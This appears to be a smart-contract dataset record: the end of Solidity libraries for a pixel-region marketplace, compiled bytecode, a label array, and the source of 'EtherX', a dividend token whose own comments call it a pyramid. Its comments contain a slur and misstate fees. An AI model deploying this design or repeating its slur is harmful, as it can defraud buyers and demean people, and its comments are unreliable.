public { var dataStorage = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)); var regionPurchasePixelPrice = dataStorage.getRegionPurchasePixelPrice(_regionId); require(regionPurchasePixelPrice == 0); BdpOwnership.burn(_contracts, _regionId); dataStorage.deleteRegionData(_regionId); } function setupRegion(address[16] _contracts, uint256 _regionId, uint256 _imageId, uint256[] _imageData, bool _swapImages, uint8[128] _url) public { var dataStorage = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)); require(BdpOwnership.ownerOf(_contracts, _regionId) == msg.sender); require(_imageId != 0 || _imageData.length != 0 || _swapImages || _url.length != 0); // Only if image or url is specified require(block.timestamp < BdpCalculator.calculateSetupAllowedUntil(_contracts, _regionId)); // Can only execute if setup is allowed BdpImage.checkImageInput(_contracts, _regionId, _imageId, _imageData, _swapImages, false); _updateRegionImage(_contracts, dataStorage, _regionId, _imageId, _imageData, _swapImages, false); _updateRegionUrl(dataStorage, _regionId, _url, false); dataStorage.setRegionBlockUpdatedAt(_regionId, block.number); dataStorage.setRegionUpdatedAt(_regionId, block.timestamp); } function updateRegion(address[16] _contracts, uint256 _regionId, uint256 _imageId, uint256[] _imageData, bool _swapImages, bool _clearImage, uint8[128] _url, bool _deleteUrl, address _newOwner) public { var dataStorage = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)); require(BdpOwnership.ownerOf(_contracts, _regionId) == msg.sender); BdpImage.checkImageInput(_contracts, _regionId, _imageId, _imageData, _swapImages, _clearImage); var regionCurrentPixelPrice = dataStorage.getRegionCurrentPixelPrice(_regionId); require(regionCurrentPixelPrice != 0); // region was purchased var marketPixelPrice = BdpCalculator.calculateCurrentMarketPixelPrice(_contracts); var (area,,) = BdpCalculator.calculateArea(_contracts, _regionId); _processUpdateFee(_contracts, marketPixelPrice * area / 20); _updateRegionImage(_contracts, dataStorage, _regionId, _imageId, _imageData, _swapImages, _clearImage); _updateRegionUrl(dataStorage, _regionId, _url, _deleteUrl); _updateRegionOwner(_contracts, _regionId, _newOwner); if(marketPixelPrice > regionCurrentPixelPrice) { dataStorage.setRegionCurrentPixelPrice(_regionId, marketPixelPrice); } dataStorage.setRegionBlockUpdatedAt(_regionId, block.number); dataStorage.setRegionUpdatedAt(_regionId, block.timestamp); } function updateRegionPixelPrice(address[16] _contracts, uint256 _regionId, uint256 _pixelPrice) public { var dataStorage = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)); require(BdpOwnership.ownerOf(_contracts, _regionId) == msg.sender); var regionCurrentPixelPrice = dataStorage.getRegionCurrentPixelPrice(_regionId); require(regionCurrentPixelPrice != 0); // region was purchased var marketPixelPrice = BdpCalculator.calculateCurrentMarketPixelPrice(_contracts); require(_pixelPrice >= marketPixelPrice); var (area,,) = BdpCalculator.calculateArea(_contracts, _regionId); _processUpdateFee(_contracts, _pixelPrice * area / 20); dataStorage.setRegionCurrentPixelPrice(_regionId, _pixelPrice); } function _processUpdateFee(address[16] _contracts, uint256 _updateFee) internal { require(msg.value >= _updateFee); if(msg.value > _updateFee) { var change = msg.value - _updateFee; msg.sender.transfer(change); } var forwardUpdateFeesTo = BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getForwardUpdateFeesTo(); if(forwardUpdateFeesTo != address(0)) { forwardUpdateFeesTo.transfer(_updateFee); } } function _updateRegionImage(address[16] _contracts, BdpDataStorage _dataStorage, uint256 _regionId, uint256 _imageId, uint256[] _imageData, bool _swapImages, bool _clearImage) internal { var imageStorage = BdpImageStorage(BdpContracts.getBdpImageStorage(_contracts)); var currentImageId = _dataStorage.getRegionCurrentImageId(_regionId); if(_imageId != 0) { if(currentImageId != 0) { imageStorage.setImageCurrentRegionId(currentImageId, 0); } _dataStorage.setRegionCurrentImageId(_regionId, _imageId); imageStorage.setImageCurrentRegionId(_imageId, _regionId); } if(_imageData.length > 0) { if(currentImageId != 0) { imageStorage.setImageCurrentRegionId(currentImageId, 0); } var (, width, height) = BdpCalculator.calculateArea(_contracts, _regionId); var imageId = imageStorage.createImage(msg.sender, _regionId, uint16(width), uint16(height), 1, 1); imageStorage.setImageData(imageId, 1, _imageData); _dataStorage.setRegionCurrentImageId(_regionId, imageId); imageStorage.setImageCurrentRegionId(imageId, _regionId); } if(_swapImages) { if(currentImageId != 0) { imageStorage.setImageCurrentRegionId(currentImageId, 0); } var nextImageId = _dataStorage.getRegionNextImageId(_regionId); _dataStorage.setRegionCurrentImageId(_regionId, nextImageId); imageStorage.setImageCurrentRegionId(nextImageId, _regionId); _dataStorage.setRegionNextImageId(_regionId, 0); } if(_clearImage) { if(currentImageId != 0) { imageStorage.setImageCurrentRegionId(currentImageId, 0); } _dataStorage.setRegionCurrentImageId(_regionId, 0); } } function _updateRegionUrl(BdpDataStorage _dataStorage, uint256 _regionId, uint8[128] _url, bool _deleteUrl) internal { if(_url[0] != 0) { _dataStorage.setRegionUrl(_regionId, _url); } if(_deleteUrl) { uint8[128] memory emptyUrl; _dataStorage.setRegionUrl(_regionId, emptyUrl); } } function _updateRegionOwner(address[16] _contracts, uint256 _regionId, address _newOwner) internal { if(_newOwner != address(0)) { BdpOwnership.clearApprovalAndTransfer(_contracts, msg.sender, _newOwner, _regionId); } } } library BdpTransfer { using SafeMath for uint256; function approve(address[16] _contracts, address _to, uint256 _regionId) public { require(BdpOwnership.ownerOf(_contracts, _regionId) == msg.sender); BdpOwnership.approve(_contracts, _to, _regionId); } function purchase(address[16] _contracts, uint256 _regionId) public { uint256 pixelPrice = BdpCalculator.calculateRegionSalePixelPrice(_contracts, _regionId); var (area,,) = BdpCalculator.calculateArea(_contracts, _regionId); uint256 regionPrice = pixelPrice * area; require(msg.value >= regionPrice ); if(msg.value > regionPrice) { uint256 change = msg.value - regionPrice; msg.sender.transfer(change); } BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).setRegionCurrentPixelPrice(_regionId, pixelPrice); BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).setRegionBlockUpdatedAt(_regionId, block.number); BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).setRegionUpdatedAt(_regionId, block.timestamp); BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).setRegionPurchasedAt(_regionId, block.timestamp); BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).setRegionPurchasedPixelPrice(_regionId, pixelPrice); BdpOwnership.clearApprovalAndTransfer(_contracts, BdpOwnership.ownerOf(_contracts, _regionId), msg.sender, _regionId); if(BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionCurrentPixelPrice(_regionId) > 0) { // send 95% ether to ownerOf(_regionId) uint256 etherToPreviousOwner = regionPrice * 19 / 20; BdpOwnership.ownerOf(_contracts, _regionId).transfer(etherToPreviousOwner); var forwardUpdateFeesTo = BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getForwardUpdateFeesTo(); if(forwardUpdateFeesTo != address(0)) { forwardUpdateFeesTo.transfer(regionPrice - etherToPreviousOwner); } } else { var forwardPurchaseFeesTo = BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getForwardPurchaseFeesTo(); if(forwardPurchaseFeesTo != address(0)) { forwardPurchaseFeesTo.transfer(regionPrice); } } } }
0x60606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631fc7d65814610051578063c36ccedc14610096575b600080fd5b61009460048080610200019060108060200260405190810160405280929190826010602002808284378201915050505050919080359060200190919050506100fa565b005b6100f8600480806102000190601080602002604051908101604052809291908260106020028082843782019150505050509190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b76565b005b6000806000806000806000736c0a11e254b666b107abe5ecf5003b53bf362eb063a46a96d98a8a6000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083601060200280838360005b83811015610180578082015181840152602081019050610165565b505050509050018281526020019250505060206040518083038186803b15156101a857600080fd5b6102c65a03f415156101b957600080fd5b505050604051805190509650736c0a11e254b666b107abe5ecf5003b53bf362eb063a6948cd98a8a6000604051606001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083601060200280838360005b83811015610240578082015181840152602081019050610225565b505050509050018281526020019250505060606040518083038186803b151561026857600080fd5b6102c65a03f4151561027957600080fd5b505050604051805190602001805190602001805190505050955085870294508434101515156102a757600080fd5b843411156102f55784340393503373ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f1935050505015156102f457600080fd5b5b6102fe89610d54565b73ffffffffffffffffffffffffffffffffffffffff1663517b1d8f89896040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b151561037357600080fd5b6102c65a03f1151561038457600080fd5b50505061039089610d54565b73ffffffffffffffffffffffffffffffffffffffff1663ca8b39c889436040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b151561040557600080fd5b6102c65a03f1151561041657600080fd5b50505061042289610d54565b73ffffffffffffffffffffffffffffffffffffffff1663481d3bd589426040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b151561049757600080fd5b6102c65a03f115156104a857600080fd5b5050506104b489610d54565b73ffffffffffffffffffffffffffffffffffffffff1663d9ff94b789426040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b151561052957600080fd5b6102c65a03f1151561053a57600080fd5b50505061054689610d54565b73ffffffffffffffffffffffffffffffffffffffff166384545ef889896040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b15156105bb57600080fd5b6102c65a03f115156105cc57600080fd5b505050739f51e7e4ceb88982da1695297ff7ca591ca2327a63732bdbbf8a739f51e7e4ceb88982da1695297ff7ca591ca2327a63d6e4ddc58d8d6000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083601060200280838360005b8381101561066557808201518184015260208101905061064a565b505050509050018281526020019250505060206040518083038186803b151561068d57600080fd5b6102c65a03f4151561069e57600080fd5b50505060405180519050338c6040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085601060200280838360005b838110156107005780820151818401526020810190506106e5565b505050509050018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060006040518083038186803b151561078e57600080fd5b6102c65a03f4151561079f57600080fd5b50505060006107ad8a610d54565b73ffffffffffffffffffffffffffffffffffffffff16630500fe3e8a6000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561082357600080fd5b6102c65a03f1151561083457600080fd5b505050604051805190501115610a625760146013860281151561085357fe5b049250739f51e7e4ceb88982da1695297ff7ca591ca2327a63d6e4ddc58a8a6000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083601060200280838360005b838110156108d15780820151818401526020810190506108b6565b505050509050018281526020019250505060206040518083038186803b15156108f957600080fd5b6102c65a03f4151561090a57600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050151561095357600080fd5b61095c89610d71565b73ffffffffffffffffffffffffffffffffffffffff1663b74d41036000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156109c757600080fd5b6102c65a03f115156109d857600080fd5b505050604051805190509150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515610a5d578173ffffffffffffffffffffffffffffffffffffffff166108fc8487039081150290604051600060405180830381858888f193505050501515610a5c57600080fd5b5b610b6b565b610a6b89610d71565b73ffffffffffffffffffffffffffffffffffffffff16634a1222666000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610ad657600080fd5b6102c65a03f11515610ae757600080fd5b505050604051805190509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610b6a578073ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501515610b6957600080fd5b5b5b505050505050505050565b3373ffffffffffffffffffffffffffffffffffffffff16739f51e7e4ceb88982da1695297ff7ca591ca2327a63d6e4ddc585846000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083601060200280838360005b83811015610c08578082015181840152602081019050610bed565b505050509050018281526020019250505060206040518083038186803b1515610c3057600080fd5b6102c65a03f41515610c4157600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff16141515610c6d57600080fd5b739f51e7e4ceb88982da1695297ff7ca591ca2327a63c36ccedc8484846040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084601060200280838360005b83811015610ce0578082015181840152602081019050610cc5565b505050509050018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060006040518083038186803b1515610d3b57600080fd5b6102c65a03f41515610d4c57600080fd5b505050505050565b6000816004601081101515610d6557fe5b60200201519050919050565b6000816007601081101515610d8257fe5b602002015190509190505600a165627a7a723058209b246058a08e6cb703ee6cdc5c9510c53a1dc85d76681ed0a678aad20a4e8f170029
[ 30, 11, 12, 5, 18 ]
0xf2855df7f963531f689a8a3d2eb7bf4e0f532c01
pragma solidity ^0.4.20; /* Welcome to ETHERX * This is the Game to End All Games * Backed by a solid community, we will grow with you! * Join our Discord! * */ contract EtherX { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "EtherX"; string public symbol = "ETX"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 5; // Look, strong Math uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 100e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 0.2 ether; uint256 constant internal ambassadorQuota_ = 2 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function EtherX() public { // add administrators here administrators[0x59Cf7938D82EC6474E74f4031f970d90949e68Fc] = true; // add the ambassadors here. ambassadors_[0x1809485a48FAABBef9D26Bc1dC9CC9551bDECDed] = true; // add the ambassadors here. ambassadors_[0x008ca4F1bA79D1A265617c6206d7884ee8108a78] = true; // add the ambassadors here. ambassadors_[0x77863fFbeCb826bC93d9bD150F77E77Bd46757C4] = true; // add the ambassadors here. ambassadors_[0x4EE712f84772D5887be33B37b4b7E1B1B58eDE4a] = true; // add the ambassadors here. ambassadors_[0x470fe40D37b030F611E54D33eE3Ed4588A66646B] = true; // add the ambassadors here. ambassadors_[0xa683C1b815997a7Fa38f6178c84675FC4c79AC2B] = true; // add the ambassadors here. ambassadors_[0xf0f0DA16E817f0BfCbdA118E82Cf0ED78A1AE6ab] = true; // add the ambassadors here. ambassadors_[0x9a4971Bb7869EC40588370246079Aa13b770f0C3] = true; // add the ambassadors here. ambassadors_[0x59Cf7938D82EC6474E74f4031f970d90949e68Fc] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ function disableInitialStage() onlyAdministrator() public { onlyAmbassadors = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
